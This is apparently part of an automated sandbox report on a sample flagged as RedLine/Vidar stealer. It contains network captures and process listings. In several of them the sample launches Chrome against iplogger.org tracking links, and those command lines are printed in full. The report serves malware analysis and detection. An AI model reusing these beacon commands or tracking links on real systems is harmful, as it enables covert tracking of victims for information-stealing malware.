c2 0a 02 89 08 40 05 9e ed 93 7b 6c f7 87 e4 a9 94 2c 40 ba Data Ascii: B/X!,u12`x.Z(BwI_o8ml]^uz1osPM}eLEftC$t!Ucz7z,p*b!3qhyjJK\|&F"O 2?F<mj;LZQjaraG72NDVzph,@@{l,@
2022-08-23 01:43:52 UTC	2252	IN	Data Raw: 68 d6 1c b5 28 5b 74 2a fb b2 44 f8 6a 55 34 04 0a c4 29 d0 87 fb 90 72 03 72 18 9b 9a 00 9c f4 f0 7c d8 0a ce 2c 49 36 8f f8 5c ee 49 53 fe 86 82 4a f8 16 e1 71 15 0d e4 f7 e6 3a 15 0b e6 62 d7 54 3f bf 4f b9 3f 4e ed 67 b5 6f 43 c2 1a e5 bc 8d 29 81 25 c8 9a 47 f4 8b 20 b1 5b e7 d8 63 ad 46 c1 ff c7 2b c0 01 ee d6 3f b1 df 31 ed 91 f3 22 93 4a 4c 22 ed 7a 0a 70 b6 4b 1f fb c6 4c 25 72 28 fd 03 09 ed b5 09 8c ea 1f e6 14 3b 2d c0 31 a7 3a d9 02 e9 19 7f 40 f1 2d 62 ba d2 d3 09 c5 db e0 12 df 06 48 3a a6 2a b1 86 a0 2b 7b 32 32 d2 f0 a8 72 cd e1 fb 89 71 33 39 5e 84 66 6f f5 36 42 d5 7c fe a2 38 51 fb 58 e9 9e e2 18 09 32 8e 8b aa 46 f7 82 74 67 05 e9 bf a4 4d 2b 80 90 28 88 8c 3a cd 16 44 12 73 d3 9c 5f d9 5c 41 ef bf 61 0e 81 7b d6 28 ad e0 e5 5e 66 78 Data Ascii: h([tDjU4)rr\|,I6\ISJq:bT?O?NgoC)%G [cF+?1"JL"zpKL%r(;-1:@-bH:+{22rq39^fo6B\|8QX2FtgM+(:Ds_\Aa{(^fx
2022-08-23 01:43:52 UTC	2268	IN	Data Raw: f5 ad 90 72 63 fe a1 9c 02 01 3d 41 3b fb 4d 01 fe 5d 6b 9f 20 b9 d2 f9 16 c9 6e fe e0 35 02 8a cb 2e 6e f4 48 75 5b 22 a6 de f5 28 0e bd ec 7e 3c a3 b9 03 9a a4 b6 58 3f 8f 5a e2 d7 f8 58 5c 70 06 e5 09 85 dc 74 07 e0 18 91 50 63 aa 30 5c 37 51 5f 6e 0d 14 e5 09 e2 5a af 23 90 ef 4a 16 ae b4 5a 8e e6 7a 90 4d 15 43 7e fe 1b 47 95 48 59 1c e9 48 22 5d 90 c5 cb f8 ff 00 2e 81 6b 51 ad 77 b9 6b 83 24 c6 8d 5c 6e 1d 99 c5 e8 da e5 07 25 9e de 0a 49 6f 53 e1 29 01 9b e6 04 b5 24 63 ad 23 d6 ca f2 56 48 52 45 71 57 a9 7e f9 32 2e 75 b0 c1 91 55 ad d0 6d 2f 2d e0 71 18 84 6d b9 4c f5 e4 dc 70 50 59 14 16 cc 6c a7 72 0d 61 af 9d 9a 3e 2f 2c 6b e9 ec c2 0f 59 8d c5 01 51 3a 03 22 8c 34 28 f8 7c 15 bb b1 40 c4 4c 57 9d c6 ce f2 b6 14 28 86 1b 89 64 4c 9a 8e 26 a3 Data Ascii: rc=A;M]k n5.nHu["(~<X?ZX\ptPc0\7Q_nZ#JZzMC~GHYH"].kQwk$\n%IoS)$c#VHREqW~2.uUm/-qmLpPYlra>/,kYQ:"4(\|@LW(dL&
2022-08-23 01:43:52 UTC	2284	IN	Data Raw: 58 16 c3 cb 6f 0c 7b 0e 12 25 85 4a 82 c1 0e 13 32 68 c1 9a b0 0f 15 77 2f 2c 4f 6f 67 6a 15 c6 54 01 9a d1 89 a3 b5 71 1a 53 99 49 0a 50 28 48 6f 7f 5b 9a b2 c5 de 80 62 e7 cf 96 6d f4 a7 a5 23 71 fb 6f 2f 11 07 aa 4f 82 ae f0 7d b5 39 9a fe 8e 60 c3 0c 86 9a c9 49 18 d8 6f fd 42 f4 0e 07 f6 7c 11 20 40 58 56 78 d0 18 9e 8c b7 19 3d 92 f7 df f5 83 21 3f 53 47 86 5e 58 82 d5 62 80 f4 37 85 e5 85 d8 a9 96 84 b9 1c bc 73 be a8 fd fb 60 a6 74 52 a2 59 f3 f6 ef 22 0e c9 df cf 4a 7b 6f 0f d1 62 b2 24 6c eb 96 b6 be e9 b1 9e 52 14 37 37 e3 26 c8 22 88 0f 37 87 d4 27 81 c2 7d b9 dd 1d 7a f9 55 67 b8 26 0d 0c d1 06 38 b5 e6 29 b6 37 68 19 a5 66 a7 7f ed 04 b5 00 2d b9 92 64 f9 e5 d4 1a 34 d5 52 a7 d8 0a f1 27 40 2f 64 7a db b0 82 1e 00 91 08 1b b6 d1 ea 8a 76 92 Data Ascii: Xo{%J2hw/,OogjTqSIP(Ho[bm#qo/O}9`IoB\| @XVx=!?SG^Xb7s`tRY"J{ob$lR77&"7'}zUg&8)7hf-d4R'@/dzv
2022-08-23 01:43:52 UTC	2300	IN	Data Raw: d2 41 bc 00 cc e8 5b 65 a9 4f 82 0b b4 b3 8e e1 b0 a9 8d b9 c5 e2 67 e7 62 49 b7 f4 43 25 03 46 df 75 da 78 ef 3f ae fe 8b 92 0b 0f f7 e2 1f 0b c8 44 58 aa b4 26 b9 06 35 0e ac f2 ac 37 91 43 a3 5a cf 74 c6 b5 0f 46 1e 17 89 59 60 06 9a 85 38 53 4e d6 2d ee a4 8a fe 30 42 91 b1 62 6c b4 cb c0 fe b5 d6 5a 49 02 f1 cc 36 89 d5 31 ac aa eb 3a 35 f7 e8 1e 33 33 1c ed e1 d4 32 59 3b 96 77 7f 3c 9c f2 e6 a1 67 1a 51 24 9c c4 6d 57 7b a2 dc d4 64 04 11 c2 59 49 84 6d b0 b8 9b 60 62 de 92 0b 58 e5 1a 90 2e 46 41 27 d9 df 83 fb 25 a5 ac b0 18 ae d6 7e 61 c2 65 ef 83 dc dc 16 e4 5c 57 a7 15 08 c8 4c 91 0b 3e f1 6e b6 4f bb 49 4f 63 e1 60 94 cf 2a 9b 5f 1b c2 ca 25 cc 7a 19 cd ce 4b 26 4b b8 c5 6d a4 b9 4f 92 43 5b 3a 2b 5a a6 48 7e f4 51 ce fd f2 95 5c 1c c4 b2 11 Data Ascii: A[eOgbIC%Fux?DX&57CZtFY`8SN-0BblZI61:5332Y;w<gQ$mW{dYIm`bX.FA'%~ae\WL>nOIOc`*_%zK&KmOC[:+ZH~Q\
2022-08-23 01:43:52 UTC	2316	IN	Data Raw: 65 35 77 c2 56 58 72 77 7b 96 96 25 a3 53 bf 7f f5 fe 40 cf cc 5e 94 61 12 06 07 5a 5f 13 05 3e 8c b5 e5 fc 7e 7a 05 31 87 83 76 17 f4 56 62 b2 5e fa c3 3f 9a b8 7e f4 f3 7c cf 31 23 4f f1 7a 63 28 3b 69 49 69 84 65 f2 df 8f f7 b6 07 d5 d4 8c ef fe 27 e2 f9 ca 21 54 04 2b e5 f7 1f c2 5b a8 ef 49 f6 ec 1a 1b 8a 93 3d 6f eb ad 88 92 9d e3 2c 27 7e 0b a4 08 c9 94 5d 77 0f 1d d6 cf c5 8e 80 35 93 73 b7 32 30 2d 8a ea ae 7a 15 88 0d 77 68 b9 cd 45 11 80 6e 64 43 c6 e0 4c ce 2b d3 9f 8f 4a 0d c5 06 bb bf 03 5a dc 13 de 87 7c a6 18 0d 37 53 70 0e bd 00 89 17 c1 66 1f 86 7a 16 56 0f 75 b4 ab 5f b7 eb f0 d9 c1 d3 3e 95 b6 f6 8b 22 f4 4b d4 9d 4c dc eb 68 e4 b3 d6 e0 24 c2 4b 59 d3 6e cc aa 1d c2 14 51 f6 e0 6b 5f 68 c7 a5 be 4e 4a ba 48 93 3e 3e d4 cc 9f a5 61 e8 Data Ascii: e5wVXrw{%S@^aZ_>~z1vVb^?~\|1#Ozc(;iIie'!T+[I=o,'~]w5s20-zwhEndCL+JZ\|7SpfzVu_>"KLh$KYnQk_hNJH>>a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49717	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:34 UTC	5	OUT	GET /1AEmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2022-08-23 01:42:35 UTC	7	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:35 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:35 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144251410413575=1; expires=Wed, 23-Aug-2023 01:42:35 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:35 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:35 UTC	8	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49716	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:35 UTC	6	OUT	GET /1AAmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2022-08-23 01:42:35 UTC	7	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:34 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:35 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144441410413575=1; expires=Wed, 23-Aug-2023 01:42:35 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:35 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:35 UTC	7	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49723	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:35 UTC	8	OUT	GET /favicon.ico HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://iplogger.org/1AAmX4 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1
2022-08-23 01:42:35 UTC	9	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 23 Aug 2022 01:42:35 GMT Content-Type: text/html Content-Length: 548 Connection: close
2022-08-23 01:42:35 UTC	9	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49730	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:36 UTC	9	OUT	GET /1AAmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org
2022-08-23 01:42:36 UTC	10	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:36 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:36 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144441410413575=1; expires=Wed, 23-Aug-2023 01:42:36 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:36 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:36 UTC	10	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49731	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:37 UTC	10	OUT	GET /1AGmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1
2022-08-23 01:42:37 UTC	11	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:37 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:37 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144901410413575=1; expires=Wed, 23-Aug-2023 01:42:37 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:37 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:37 UTC	12	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49736	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:38 UTC	12	OUT	GET /1AGmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org Cookie: clhf03028ja=84.17.52.7; 398144441410413575=1
2022-08-23 01:42:38 UTC	12	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:38 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:38 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144901410413575=1; expires=Wed, 23-Aug-2023 01:42:38 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:38 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:38 UTC	13	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49744	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:40 UTC	13	OUT	GET /1AEmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org Cookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1
2022-08-23 01:42:40 UTC	13	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:40 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144251410413575=1; expires=Wed, 23-Aug-2023 01:42:40 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:40 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:40 UTC	14	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: em1B8DcC72.exePID: 5856, Parent PID: 5056

General

Target ID:	1
Start time:	03:42:12
Start date:	23/08/2022
Path:	C:\Users\user\Desktop\em1B8DcC72.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\em1B8DcC72.exe"
Imagebase:	0x400000
File size:	2772334 bytes
MD5 hash:	7DFCB4292184F62B7F2EB61BC1190AB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5156, Parent PID: 5856

General

Target ID:	2
Start time:	03:42:22
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AEmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2264, Parent PID: 5856

General

Target ID:	3
Start time:	03:42:23
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1ARmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4988, Parent PID: 5856

General

Target ID:	4
Start time:	03:42:24
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AAmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5248, Parent PID: 5856

General

Target ID:	5
Start time:	03:42:25
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AFmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 780, Parent PID: 2264

General

Target ID:	6
Start time:	03:42:26
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1660 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5476, Parent PID: 5856

General

Target ID:	7
Start time:	03:42:26
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AGmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 588, Parent PID: 5156

General

Target ID:	8
Start time:	03:42:26
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1808,i,3896296885310030640,3823508835286942682,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6424, Parent PID: 5856

General

Target ID:	9
Start time:	03:42:31
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AJmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

